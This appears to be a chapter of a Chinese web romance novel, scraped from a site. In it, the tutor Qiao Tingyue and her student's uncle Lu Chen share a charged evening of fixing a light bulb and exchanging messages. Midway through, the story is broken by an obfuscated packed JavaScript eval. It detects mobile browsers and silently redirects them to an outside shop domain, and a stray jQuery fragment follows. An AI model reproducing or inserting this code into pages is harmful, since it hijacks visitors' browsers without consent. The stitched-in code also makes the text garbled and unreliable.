瘦弱的身体被冷风摧残许久,放松后根本支撑不住,回陆家的途中,祝承信就睡着了。
乔听月转身看向后排,少年长长的四肢蜷缩着,身上穿着她的鹅黄色羽绒服,多亏他长得白净,不然看着怪辣眼睛。
收回视线,她给陆建业发消息,着重描述了祝承信可怜兮兮的模样,委婉提醒他不要因为悲痛和怀念而伤害祝愿唯一留下的亲骨肉。
发出去的时候,她心中忐忑不安。
她作为一个外人或者说旁观者,本不该多管闲事,但是两个失去至亲的可怜人明明可以互相依靠,却偏偏将这份情绪变成愤怒刺向对方,她于心不忍。
陆忱注意到她的动作,“给我父亲发消息?”
乔听月握住手机,“嗯,希望他不会因此辞退我。”
“不会的,”陆忱微微垂眸,“我父亲想和小信修复关系,只是抹不开面子,希望小信主动破冰,小信……”
他放低声音,“小信觉得是自己害死了妈妈,真相揭露前已经产生了自毁倾向,和他祖父吵了几次之后,找到了新的情绪出口,转移出一部分愧疚,责怪祖父没拦住妈妈。”
乔听月了然,清官难断家务事,祖孙俩的相处方式也算是默契使然了。
“嗡嗡——”
手机振动。
乔听月晃了下神,接起来,“姐,怎么了……哦哦,好,我回家看看。”
挂断电话,她往窗外看,分辨当下的位置,“陆先生,我就不和您回陆家了,我在前面路口下就行。”
陆忱没应,问她:“你姐姐让你买什么?”
“灯泡,客厅灯泡坏了。”
“我知道哪有卖的,买完送你去地铁站。”
他说得自然,乔听月以为是顺路,便安心等着,结果路边的景象越来越眼熟,竟是开到她家前面那趟街了。
灯具店是商住一体,此时还开着。
陆忱下车,问她:“知道要什么型号吗?”
乔听月先是奇怪陆忱对她家附近的店铺了如指掌,接着忙跟上去,“我姐姐给我发照片了。”
进店后,乔听月给老板看了照片,老板拿灯泡时,她就守在柜台,生怕离开一步陆忱就要抢先扫码。
陆忱看出她的小心思,在门口等她,出门时,顺势提出送她回家。
不过是拐个弯的功夫,乔听月没跟他客气。
送到楼下,乔听月想起她还穿着陆忱的衣服。
刚做出脱衣服的动作,陆忱拦住她,“穿着回家,别着凉了。”
乔听月犹豫,按理说车里温度高,陆忱不会冷,可他皮肤又白又薄,被风一吹就泛红,从墓园离开,他侧颈的颜色丝毫未褪,凭空让她想起他孤零零蹲在墓碑前那一幕。
“不用,”她拒绝,“就几步路,很快的。”
陆忱微微蹙眉,“这样吧,我送你上楼,等你进屋再把衣服还我。”
乔听月想不出更好的办法,多僵持一会陆忱就多冷一会,于是点头。
下了车,她先跑起来,转头喊陆忱,“陆先生,您走快点。”
陆忱莞尔,他腿长,略微加快脚步便能跟上她小跑的速度。
楼道里依旧很冷,乔听月没法在这还衣服,碎碎吐槽热爱开窗的邻居,陆忱笑着听,心里却觉得这邻居不错,阴差阳错给了他进门的机会。
电梯升上八楼,乔听月拿钥匙开门,客气道:“要不要进来坐坐?”
陆忱摇头,“很晚了,我就不打扰了。”
乔听月松了一口气,“您要是不进来,我这就把衣服还您。”
就在此刻,门从里面开了。
客厅灯泡突然坏掉,乔望曦够不到电闸,家里一片漆黑。
她坐着轮椅,月光打在脸上,素来沉静的眸子晃了晃,声音微微尖锐:“你们在干什么!”
乔听月胳膊向上耸了下,把脱到一半的衣服穿回去,匆匆解释:“这是陆先生的衣服,他怕我着凉借我穿一会。”
乔望曦还沉浸在震惊中无法自拔,根本听不进去她的话。
乔听月一边解释一边对陆忱道歉,最后还是把他请进了屋。
房门关上隔绝了走廊的灯光,只有手机亮起一束光。
乔听月顾不上招待陆忱,把事情原原本本讲清楚,稍微模糊了祝承信离家出走的真相。
乔望曦深呼吸,一副释然的样子,“抱歉陆先生,我实在是,被你们吓到了。”
自从灯泡坏掉,她就摸黑坐在客厅灯乔听月回家,刚刚听见钥匙插入锁孔的声音,拧了一半又停下。她本就心惊胆战,战战兢兢开了门,发现妹妹正对着一个男人脱衣服,好悬没把她吓死。
陆忱好脾气地说没关系,“来都来了,我帮你们把灯泡装上吧。”
来都来了。
这四个字简直有魔法,瞬间硬控了乔家姐妹。
陆忱踩在椅子上拆灯罩,乔听月仰着头帮忙照明,眼底万分迷茫。
“灯泡。”
乔听月脱离神游的状态,用新灯泡换走他掌心的战损版,担忧道:“您小心点啊。”
让身价千亿的陆总给她装灯泡,她好害怕。
陆忱笑道:“放心,不会弄坏你家的灯。”
乔听月脸颊腾的红了,反驳:“不是灯,我是让您注意安全。”
“逗你呢,”陆忱装完灯泡,跳下椅子,“电闸在哪?”
乔听月带他找到电闸,推上去,喊乔望曦试开关。
“啪!”
客厅大亮。
确定每个灯都没问题,陆忱把灯罩装好,“乔老师,有水吗?”
“有的。”
乔听月去厨房倒水,转过身,没想到陆忱跟在后面,好在反应及时没撞进他怀里,不过出于惯性,水杯前倾,泼了半杯水在他身上。
“啊,对不起!”
她慌忙用手去擦,手掌刚抚了两下,下一秒,手被抓住按在胸口。
“没事,”陆忱接过水杯,“不是热水,你慌什么。”
乔听月感觉自己快晕了。
她知道陆忱在说话,也听清了每个字符音节,但脑子就像刁钻刻薄的防火墙,自动过滤掉一切安装包。
她所有的感官都陷入停摆状态,除了触感。
因为祝承信离家出走的消息过于突然,陆忱出门时随意穿了件圆领羊毛衫。
如今在她手掌下,隔着浸了水的柔软衣料,硬邦邦的胸肌微微起伏,是男人呼吸的频率。
当真难以启齿,陆忱分明穿了衣服,却被她的防火墙大脑自动屏蔽,坦然展露出那具优越的身体。
应该松手的。
但乔听月指尖动了动,鬼使神差地静止不动了。
陆忱察觉到少女卸去力气,抬了下眉,没有得寸进尺攥紧手掌,而是维持现状,虚虚搭在她手背上,用喝水掩饰眼底的惊喜。
喉结滚动,吞咽的声音不轻不重。
仿佛有火从食管一路燎上来,乔听月也跟着咽了一口。
身后传来轮椅压过木质地板的咯吱声。
乔听月做贼心虚,用力撤回手,另一只手包裹住被陆忱抓过的位置揉了揉,睫毛乱颤。
陆忱把杯子还给她,语气如常:“多谢,小信还在楼下,今天多谢你陪我找他。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738099|143871||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
乔听月颔首道:“不客气,职责所在,我送您。”
依旧是送到电梯口,电梯门关上,乔听月回家,手中还拿着陆忱用过的水杯。
她垂眸端详玻璃杯,芭蕾舞男演员扶着女演员的腰,半搂半抱的姿态,以往不觉得暧昧,现在却品出几分缱绻。
乔望曦提醒:“月亮,快洗漱吧。”
乔听月回神,对上姐姐温柔的眼睛,心头渐渐悸动平息,“好哦,这就去。”
——
洗完澡,乔听月用干发帽包住湿漉漉的头发回房。
乔望曦睡得早,吹风机声音太大,她怕吵醒她,所以拿去卧室用。
吹风机呼呼地响,干燥的热风顺着发丝吹到头皮,稍微走下神就烫的她皱眉。
吹个半干,她收好线,视线落在桌角的手机上。
宿舍群有消息。
【齐大公主】:白教授真是太帅了!
【摄影大师】:爹的,怎么会有这么正点的人,简直是在我xp上跳舞。
【齐大公主】:作业在校园通提交,他讲的东西都在课件里,你自己看吧@月亮
【摄影大师】:反正不挂科,随便写写咯~
【月亮】:@齐大公主,划重点了吗?
【齐大公主】:宝贝,我无心听课,光顾着看他那张脸了[色色]
【摄影大师】:我作证,她流口水了!
【齐大公主】:屁!我怎么会对着别人男朋友流口水!
【月亮】:没点名吧?
【齐大公主】:安啦,教室都要挤爆炸了,出勤率都120%了,缺你一个没人care~
乔听月放心了,毕竟大姑娘上花轿头一回。
当时逃得果断,但真跑出去那一刻,还是非常没出息地提心吊胆。
又聊了几句,群里安静下来。
乔听月退出聊天界面,看着列表中抢眼的布娃娃头像,手指在信息框上踌躇。
是不是该问问他到没到家。
起了念头,思绪就止不住发散。
她又想起陆忱胸肌的手感,最初摸到的是鼓胀微微发软的肉,顷刻之间就变得坚实,就算没往下按,也能感觉到它弹性十足。
最重要的是,他没有放开她的手。
为什么不放开。
手心忽然振动,对话框弹到列表最上方。
【祝承信舅舅(陆)】:到家了。
【祝承信舅舅(陆)】:[图片]
照片中,祝承信窝在被子里,她的羽绒服出镜在照片最下缘,看视角是搭在陆忱手臂上,不小心框进了镜头。
【月亮】:小信没发烧吧?
可能是累了不愿意打字,陆忱发了一条语音。
“没发烧,刚才给他灌了一碗姜汤,明天睡醒估计就没事了。”
【月亮】:嗯嗯,等他睡醒必须要好好教育一下![小猫挥拳]
陆忱嗓音含笑:“那就麻烦乔老师教育他了,衣服我让人洗了,你还有别的外套穿吗?”
【月亮】:有的,其实不用洗,小信没穿脏。
“不麻烦,”陆忱顿了下,“今天辛苦了,要睡了吗?”
乔听月听了两遍,手背在脸颊贴了贴,回复:
【准备睡了。】
【祝承信舅舅(陆)】:嗯,早点休息,晚安。
乔听月回了晚安,抱着被侧躺下,看着手机最后那条消息。
他们第一次互道晚安。
她心口仿佛堵了一块松软的棉花糖,不断膨胀着,有一道声音在她耳边低语。
“如果是语音就好了。”